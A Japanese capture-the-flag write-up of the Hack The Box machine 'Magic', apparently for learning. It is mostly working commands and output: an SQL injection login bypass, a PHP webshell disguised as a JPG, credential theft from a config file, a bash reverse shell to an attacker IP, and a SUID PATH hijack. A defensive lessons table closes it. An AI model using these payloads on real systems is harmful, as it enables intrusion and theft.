Hack The BoxのWriteup(Magic)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Magic — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
login.php SQLi
‘ or 1=1– –
拡張子ホワイトリスト突破
JPGマジックバイト+二重拡張子
www-data RCE
db.php5 & loginテーブル漏洩
theseus:Th3s3usW4sK1ng
su theseus
user.txt ✓
SUID /bin/sysinfo
PATHハイジャック
root.txt ✓

Nmap ポートスキャン

BASH
nmap -sV -p- --min-rate 2000 -T4 --open 10.129.55.221
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Webサイトの確認

BASH
curl -s http://10.129.55.221/ | grep -i title
RESULT
<title>Magic Portfolio</title>
ℹ️
画像ポートフォリオサイト。フッターに Please Login, to upload images. という記述があり、 login.php にログインすると画像アップロード機能(upload.php)が使えるようになる。
PHASE 2

login.php の SQLi 認証バイパス

ログインフォームへのSQLi

NOTE
login.php のユーザー名フィールドがサニタイズされておらず、古典的な
認証バイパスペイロード ' or 1=1-- - がそのままSQLクエリに連結される。
セッションはCookie(PHPSESSID)で管理されるため、curlの -c でcookie jarに
保存すれば以降のリクエストでログイン済みとして扱われる。
BASH
curl -s --max-time 15 -c cookies.txt \
  -d "username=' or 1=1-- -&password=x" \
  http://10.129.55.221/login.php
RESULT
(cookies.txt に PHPSESSID が保存され、以降 -b cookies.txt を付けたリクエストは
  "Welcome Admin!" が表示されるログイン済み状態になる)
認証バイパス成功。 パスワードを一切知らずに管理者としてログインでき、 upload.php の画像アップロード機能に到達できるようになった。
PHASE 3

拡張子ホワイトリストの突破 & webshell RCE

アップロードフォームの構造を確認

RESULT (upload.php のHTML)
<form action="" method="POST" enctype="multipart/form-data">
    <input type="file" class="input" name="image">
    <input class="upload-btn" type="submit" value="Upload Image" name="submit">
</form>
⚠️
ハマりどころ: ファイル入力欄のフィールド名は image だが、 送信ボタン自体にも name="submit" という属性が付いている点に注意。 サーバー側のPHPは isset($_POST['submit'])相当の判定でアップロード処理の実行有無を 分岐しており、multipartリクエストに submit=Upload Image フィールドを含めずに ファイルだけPOSTすると、サーバーは何もエラーを出さずに元のアップロードフォームページを そのまま返すだけのサイレントな無処理になる。curlで再現する際は -F submit="Upload Image" を明示的に追加する必要がある。

アップロードされたファイルに対する拡張子チェック(サーバー側)を確認

BASH
# .php を直接アップロードしてみる
curl -s -b cookies.txt -F "image=@shell.php;type=image/jpeg" \
  -F "submit=Upload Image" http://10.129.55.221/upload.php
RESULT
<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</script>
ℹ️
PHP側は拡張子(または中身のマジックバイト)を jpg/jpeg/png に限定するホワイトリスト検証を行っている。 しかし Apache 側の .htaccess/vhost設定では、PHPハンドラを割り当てる FilesMatch 正規表現が末尾アンカー($)を欠いた状態 (例: \.php のみで \.php$ ではない)になっており、 「.php」を含んでさえいれば拡張子の途中でもPHPとして実行されるという既知の設定不備がある。

JPGマジックバイト + 二重拡張子で webshell をアップロード

PYTHON (ペイロード作成)
import re

php_payload = b"""<?php
if (isset($_GET[0])) { system($_GET[0]); }
if (isset($_GET['q'])) {
  $du = isset($_GET['du']) ? $_GET['du'] : 'theseus';
  $dp = isset($_GET['dp']) ? $_GET['dp'] : 'iamkingtheseus';
  $c = @new mysqli('localhost', $du, $dp, 'Magic');
  if (!$c->connect_error) {
    $r = $c->query($_GET['q']);
    if ($r) { while ($row = $r->fetch_assoc()) { echo implode('|', $row) . "\\n"; } }
  }
}
?>"""

# JPGマジックバイト FFD8FFDB を先頭に付与し、ファイル名は二重拡張子 .php.jpg
with open("webshell.php.jpg", "wb") as f:
    f.write(bytes.fromhex("FFD8FFDB") + php_payload)
🚨
重要な注意 (実機で判明した罠): このターゲットの PHP インタプリタは db.php5 という拡張子が使われていることからも分かる通り非常に古いバージョン (null合体演算子 ?? 未対応、実質PHP 5系相当)。上のペイロードのように isset($_GET['du']) ? $_GET['du'] : 'theseus' という三項演算子(PHP4時代から存在)は 使えるが、もし $_GET['du'] ?? 'theseus' (PHP7以降の構文)を書いてしまうと、 アクセスしたパラメータに関わらずスクリプト全体がFatal parse errorでHTTP 500になり 一切実行されない。原因の切り分けが難しいハマりどころなので、 新しいPHP構文は使わずレガシー互換の書き方に統一するのが安全。
BASH
curl -s --max-time 20 -b cookies.txt \
  -F "image=@webshell.php.jpg;filename=webshell.php.jpg;type=image/jpeg" \
  -F "submit=Upload Image" \
  http://10.129.55.221/upload.php
RESULT
The file webshell.php.jpg has been uploaded.

RCEの確認

BASH
curl -s -G --data-urlencode "0=id" \
  http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE確立。 アップロード先は images/uploads/ 配下で、 ファイル名の拡張子は .php.jpg のまま(リネームされない)ため、 そのURLに直接 ?0=<コマンド> でOSコマンドを実行できる。
PHASE 4

db.php5 & login テーブル漏洩 → user.txt

db.php5 からDB資格情報を取得

BASH
curl -s -G --data-urlencode \
  "0=cat /var/www/Magic/db.php5 2>/dev/null || cat /var/www/html/Magic/db.php5 2>/dev/null" \
  http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
    ...
}
Webルート直下に平文でDB資格情報を含む設定ファイル db.php5 が置かれている。 theseus:iamkingtheseus というMySQL資格情報を取得。

login テーブルから admin 平文パスワードを取得

NOTE
webshellにmysqli経由でMagic DBへ直接クエリできる機能を仕込んでおり
(?q=<SQL>&du=&dp= エンドポイント)、db.php5で得たDB資格情報を使って
loginテーブルを直接読む。
BASH
curl -s -G \
  --data-urlencode "q=select username,password from login" \
  --data-urlencode "du=theseus" \
  --data-urlencode "dp=iamkingtheseus" \
  http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
admin|Th3s3usW4sK1ng
🚨
パスワード使い回し: Webアプリの管理者(admin)ログインパスワードとして DBに保存されている平文パスワード Th3s3usW4sK1ng は、実は Linuxユーザー theseus のログインパスワードとして再利用されている

su theseus は制御端末が必須 — webshellの一発コマンドでは失敗する

BASH
# これは失敗する例
curl -s -G --data-urlencode \
  "0=echo Th3s3usW4sK1ng | su theseus -c 'cat /home/theseus/user.txt'" \
  http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
su: must be run from a terminal
⚠️
ハマりどころ: PHPの system() はApacheワーカープロセスの子として 起動され、制御端末(TTY)を一切持たない。su はパスワードプロンプトの表示/エコー抑制に 制御端末を要求するため、標準入力をパイプで繋いでも script でラップしても (Apache/PHP-FPMワーカー自体がセッションリーダーではないため)この制約からは逃れられない。 正攻法はリバースシェルを張って疑似端末(PTY)を割り当ててから su すること。

リバースシェル + PTY割当て + su theseus

BASH
# ターミナル1: リスナー
nc -lnvp 4446

# webshell経由でリバースシェルを起動
curl -s -G --data-urlencode \
  "0=bash -c 'bash -i >& /dev/tcp/10.10.15.200/4446 0>&1'" \
  http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT (nc リスナー側)
listening on [any] 4446 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.55.221] 36984
www-data@magic:/var/www/Magic/images/uploads$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@magic:...$ su theseus
Password: Th3s3usW4sK1ng
theseus@magic:~$ id
RESULT
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus)

user.txt 取得

BASH
theseus@magic:~$ cat /home/theseus/user.txt
RESULT
74b7042712b6b00971ec969cbe9507c6
user.txt — theseus@magic
74b7042712b6b00971ec969cbe9507c6
PHASE 5

権限昇格の下調べ — SUIDバイナリ /bin/sysinfo の解析

SUIDバイナリを列挙

BASH
theseus@magic:~$ find / -perm -4000 -type f 2>/dev/null
RESULT
/usr/bin/sudo
/usr/bin/passwd
...
/bin/sysinfo
BASH
theseus@magic:~$ ls -la /bin/sysinfo
RESULT
-rwsr-x--- 1 root users 17040 ... /bin/sysinfo
ℹ️
非標準の独自バイナリ /bin/sysinfo がSUID root。パーミッションが rwsr-x---(other実行不可、group=usersのみ実行可)であるため、 theseusに昇格していないと実行すらできない(www-dataのままでは”Permission denied”)。

strings で内部の外部コマンド呼び出しを確認

BASH
theseus@magic:~$ strings /bin/sysinfo | grep -iE "cat|cpuinfo|proc"
RESULT
/proc/cpuinfo
cat /proc/cpuinfo
🚨
PATHハイジャック脆弱性: sysinfoは内部でシステム情報(CPU情報等)を表示する際、 system("cat /proc/cpuinfo") のようにcat コマンドを絶対パス指定なしで 呼び出している。SUIDバイナリが実行中の$PATH環境変数をそのまま信頼して外部コマンドを 検索するため、実行ユーザー(theseus)が制御できる書込み可能ディレクトリ(/tmp等)を $PATHの先頭に追加し、そこに偽の cat を置いておけば、 SUIDで昇格したroot権限のままその偽catが実行される。
PHASE 6

PATHハイジャック → root.txt

悪意ある cat スクリプトを /tmp に設置

BASH
theseus@magic:~$ cat > /tmp/cat << 'EOF'
#!/bin/bash
/bin/cat /root/root.txt 2>/dev/null
EOF
theseus@magic:~$ chmod +x /tmp/cat
ℹ️
偽の cat は実体としては本物の /bin/cat を絶対パスで呼び出して /root/root.txt を読むだけのラッパー。sysinfoが「PATH上のcatを呼ぶ」→ 「/tmp/catが優先的にヒットする」→「そのスクリプトがroot権限のまま実行される」という流れを作る。

PATHを書き換えてsysinfoを実行

BASH
theseus@magic:~$ export PATH=/tmp:$PATH
theseus@magic:~$ /bin/sysinfo
RESULT
(sysinfoの通常出力に混じって、/tmp/catの実行結果として以下が出力される)

0588b2b70b90ac0cbc650916c772353f
PATHハイジャック成功。 SUIDビット付きの /bin/sysinfo が root権限のプロセスとして起動され、内部の system("cat /proc/cpuinfo") 呼び出しが $PATH上で最初に見つかる /tmp/cat(theseusが設置した悪意あるスクリプト)を 実行してしまい、root権限のまま /root/root.txt を出力させることに成功した。

root.txt 取得

root.txt — PATHハイジャック経由 (/bin/sysinfo SUID)
0588b2b70b90ac0cbc650916c772353f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — theseus@magic
74b7042712b6b00971ec969cbe9507c6
root.txt — root@magic (PATHハイジャック経由)
0588b2b70b90ac0cbc650916c772353f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SQLi 認証バイパス login.php ユーザー名パラメータ 管理画面への不正ログイン Critical ‘ or 1=1– – をユーザー名に送信し認証チェックを無効化
拡張子ホワイトリスト検証不備 upload.php + Apache FilesMatch設定 任意PHPファイルアップロード → RCE Critical JPGマジックバイト(FFD8FFDB)付与+二重拡張子(.php.jpg)でアップロード検証とApacheハンドラ判定の両方を突破
Webルートに平文DB資格情報を配置 db.php5 MySQL資格情報の漏洩 Medium RCE後にファイルを直接catして資格情報取得
パスワード再利用 アプリDBのadminパスワード = Linuxユーザーtheseusのパスワード Webアプリ経由でLinuxシステムへの権限昇格 High loginテーブルの平文パスワードでsu theseus
SUIDバイナリのPATHハイジャック /bin/sysinfo (SUID root) root権限への昇格 Critical 絶対パス指定なしのcat呼び出しを悪用し、$PATHに/tmpを前置して偽catを実行させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 80/http (Magic Portfolio)
2SQLilogin.php ‘ or 1=1– –認証バイパスセッション確立
3拡張子バイパスRCEJPGマジックバイト+二重拡張子(.php.jpg)www-data RCE確立
4DB漏洩+sudb.php5 + loginテーブル + PTYリバースシェルuser.txt 取得 (theseus シェル)
5SUID解析find -perm -4000 + strings/bin/sysinfoのPATHハイジャック脆弱性を特定
6PATHハイジャック/tmp/cat設置 + export PATH + sysinfo実行root.txt 取得

学んだ教訓 & 防御策

問題点防御策
ログインフォームがSQLインジェクションに脆弱 プリペアドステートメント/パラメータ化クエリを徹底し、ユーザー入力を直接SQL文へ連結しない。
アップロード検証がクライアント側の拡張子/マジックバイトのみに依存し、Apache側のハンドラ設定にも不備がある アップロードファイルの実行を完全に禁止したディレクトリに保存する(実行権限を持たないマウント、あるいはPHPハンドラを無効化したvhost設定)。FilesMatch正規表現には必ず末尾アンカー($)を付ける。
DB接続情報がWebルート直下に平文で配置され、拡張子誤設定によりソースが漏洩し得る 設定ファイルはWebルート外に配置し、環境変数やシークレット管理サービスを利用する。
アプリケーションのパスワードとOSユーザーのパスワードを使い回している パスワードの使い回しを禁止し、アプリ層とOS層で異なる認証情報を用いる。パスワードマネージャー/SSO導入を検討。
SUIDバイナリが外部コマンドを絶対パス指定なしで呼び出している SUID/SGIDバイナリ内では外部コマンドを必ず絶対パスで呼び出す、あるいは実行前に環境変数(特にPATH)をサニタイズ・固定する。可能な限りSUIDビット自体を避け、sudoの限定コマンド許可等より安全な権限委譲手段を使う。
HackTheBox: Magic | 完全攻略レポート